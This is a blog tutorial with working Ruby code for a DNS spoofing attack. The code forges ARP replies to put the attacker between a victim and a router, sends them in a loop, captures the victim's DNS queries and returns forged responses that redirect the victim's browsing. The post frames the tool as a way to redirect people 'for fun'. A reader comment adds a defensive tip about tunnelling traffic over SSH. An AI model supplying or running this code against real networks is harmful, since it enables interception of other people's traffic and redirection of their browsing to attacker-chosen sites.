Ruby DNS Spoofing using Packetfu
If you’ve ever wanted to know how to redirect people to random websites for fun, today is your lucky day. I’ll give a general overview of the program’s purpose, explain some of the key sections, and provide a link to the complete code on my Github account.
The goal here is to create a proof of concept DNS Spoofer using the Ruby programming language for use on a Nix based system. The Packetfu gem is essential here for creating the raw packets. The program contains two parts, an ARP Spoofer and a DNS Spoofer. In order for the DNS queries made by the target machine to be directed to our machine, the target’s machine needs to believe that the DNS queries can be fulfilled at our IP. This is done by telling the target’s machine that we are the router, and telling the router that we are the target’s machine. Thus we create a man in the middle where we intercept all DNS request traffic and respond with our own crafted DNS response packets. We can now direct all web traffic to a given IP address.
Since this is a proof of concept application, it is not heavily optimized for efficiency. However, it still achieves it’s purpose and has been designed to be as robust as possible given the constraints of the Ruby language. Due to the nature of the two tasks required for DNS Spoofing, the program was designed to run as two separate processes. The ARP spoofing is carried out in a child process, while the packet capturing and sending out of DNS responses is carried out in the parent process. This ensures the best performance possible.
Let’s start with the code for creating the ARP packets we’ll be sending to the target and router.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
# Make the victim packet @arp_packet_victim = PacketFu::ARPPacket.new() @arp_packet_victim.eth_saddr = ourInfo[:eth_saddr] # our MAC address @arp_packet_victim.eth_daddr = victimMAC # the victim's MAC address @arp_packet_victim.arp_saddr_mac = ourInfo[:eth_saddr] # our MAC address @arp_packet_victim.arp_daddr_mac = victimMAC # the victim's MAC address @arp_packet_victim.arp_saddr_ip = routerIP # the router's IP @arp_packet_victim.arp_daddr_ip = victimIP # the victim's IP @arp_packet_victim.arp_opcode = 2 # arp code 2 == ARP reply # Make the router packet @arp_packet_router = PacketFu::ARPPacket.new() @arp_packet_router.eth_saddr = ourInfo[:eth_saddr] # our MAC address @arp_packet_router.eth_daddr = routerMAC # the router's MAC address @arp_packet_router.arp_saddr_mac = ourInfo[:eth_saddr] # our MAC address @arp_packet_router.arp_daddr_mac = routerMAC # the router's MAC address @arp_packet_router.arp_saddr_ip = victimIP # the victim's IP @arp_packet_router.arp_daddr_ip = routerIP # the router's IP @arp_packet_router.arp_opcode = 2 # arp code 2 == ARP reply |
These packets are then sent out in 2 second intervals in a forever loop. The pause between sending out the ARP packets needs to be small enough that the router is unable to reestablish a connection with the target’s machine.
1 2 3 4 5 6 |
# Run until we get killed by the parent, sending out packets while true sleep 2 @arp_packet_victim.to_w(@interface) @arp_packet_router.to_w(@interface) end |
Now with the ARP spoofing running, we can start intercepting DNS Query packets from the target’s machine. The code to do this is fairly straight forward and is explained by the inline comments. Basically, the filter is set up to only capture those packets matching a DNS packet from the target’s machine. Once we receive a packet, we ensure that it’s a query, grab the domain name requested (for the response packet) and call the response function.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
# Start the capture process filter = "udp and port 53 and src " + @victimIP capture = Capture.new(:iface => @interface, :start => true, :promisc => true, :filter => filter, :save => true) # Find the DNS packets capture.stream.each do |pkt| # Make sure we can parse the packet; if we can, parse it if UDPPacket.can_parse?(pkt) packet = Packet.parse(pkt) # Make sure we have a query packet dnsQuery = packet.payload[2].to_s + packet.payload[3].to_s if dnsQuery == '10' # Get the domain name into a readable format domainName = getDomainName(packet.payload[12..-1]) if domainName == nil next end puts "DNS request for: " + domainName sendResponse(packet, domainName) end end end |
The response function is the most technical portion of the program. Here we actually have to construct a DNS Response packet from scratch. I did this by capturing a sample session in Wireshark and then filling in the appropriate fields. I begin by taking the IP we are going to redirect the user to and converting it into hex using the to_i and pack functions provided by Packetfu. In this case we are using one of Facebook’s IPs but this could be something far more interesting. From there we create a new UDP packet using the data contained in @ourInfo (IP and MAC) and fill in the normal UDP fields. I take most of this information straight from the DNS Query packet. The next step is to create the DNS Response. The best way to understand the code here is to look at a DNS header and then take the bit map of the HEX values and apply them to the header. This will let you see what flags are being set. From here, we just calculate the checksum for the UDP packet and send it out to the target’s machine.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
def sendResponse(packet, domainName) # Convert the IP address facebookIP = "69.171.234.21" myIP = facebookIP.split("."); myIP2 = [myIP[0].to_i, myIP[1].to_i, myIP[2].to_i, myIP[3].to_i].pack('c*') # Create the UDP packet response = UDPPacket.new(:config => @ourInfo) response.udp_src = packet.udp_dst response.udp_dst = packet.udp_src response.ip_saddr = packet.ip_daddr response.ip_daddr = @victimIP response.eth_daddr = @victimMAC # Transaction ID response.payload = packet.payload[0,2] response.payload += "\x81\x80" + "\x00\x01\x00\x01" + "\x00\x00\x00\x00" # Domain name domainName.split(".").each do |section| response.payload += section.length.chr response.payload += section end # Set more default values........... response.payload += "\x00\x00\x01\x00" + "\x01\xc0\x0c\x00" response.payload += "\x01\x00\x01\x00" + "\x00\x00\xc0\x00" + "\x04" # IP response.payload += myIP2 # Calculate the packet response.recalc # Send the packet out response.to_w(@interface) end |
Now that the coding is out of the way, let’s take a look at some packet captures from our machine. First up is the DNS Query packet received from the target’s machine. Note the URL request for bcit.ca.
After receiving this request, our machine sends out the faked DNS response. Note the Facebook IP in the response packet. This is what will send the target’s browser to Facebook.
So there you have it, a Ruby DNS Spoofer! If you would like to look at the complete code, it can be found in the following repo on my Github account. If you have questions, leave a comment.
Great article Luke. After writing a similar version of dnspoof with ruby but for linux it got me thinking about securing my traffic.
I’m not one to use Open WiFi from places like Starbucks and McDonald’s but from time to time I may find myself in a situation where I need to hop online and the only available source in an unencrypted hotspot. Since the last thing I want is for my data to be sniffed or my traffic to be redirected I tunnel my traffic back home first.
I just discovered a kickass tool for tunneling all of your traffic over SSH without having to use any confusing switches or flags. The program is called sshuttle and lets you tunnel through SSH
An example could be: –dns 0/0
sshuttle -r
This is a good way to keep yourself protected from such an attack that Luke just discussed.
Here is the github repo for sshuttle for anyone who wants to try it out.
https://github.com/apenwarr/sshuttle
broCode meets broSec